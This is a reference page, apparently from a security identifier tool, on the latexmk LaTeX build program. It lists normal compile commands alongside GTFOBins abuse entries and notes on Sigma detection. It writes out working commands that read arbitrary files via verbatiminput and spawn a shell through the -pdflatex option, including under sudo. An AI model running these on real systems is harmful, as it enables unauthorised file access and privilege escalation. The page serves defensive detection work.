Identifier / Programs / Linux and Unix
latexmk
Compile LaTeX source files into finished documents. Automatically does multiple runs when needed. tldr-pages
GTFOBins file-read, inherit, shell 1 ATT&CK technique 3 documented commands
How latexmk is abused
file-read
-dviinherit
-eEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for latexmk.
3 documented commands
file-read unprivileged, with sudo
The read file will be part of the output.
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
latexmk -dvi /path/to/temp-file
strings temp-file.dvishell unprivileged, with sudo
latexmk -pdf -pdflatex='/bin/sh #' /dev/nullNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for latexmk. The identifier reads the line of each that runs latexmk.
What detects it
Everyday use
Compile a DVI (Device Independent file) document from every source
latexmkIdentifyCompile a DVI document from a specific source file
latexmk path/to/source.texIdentifyCompile a PDF document
latexmk -pdf path/to/source.texIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.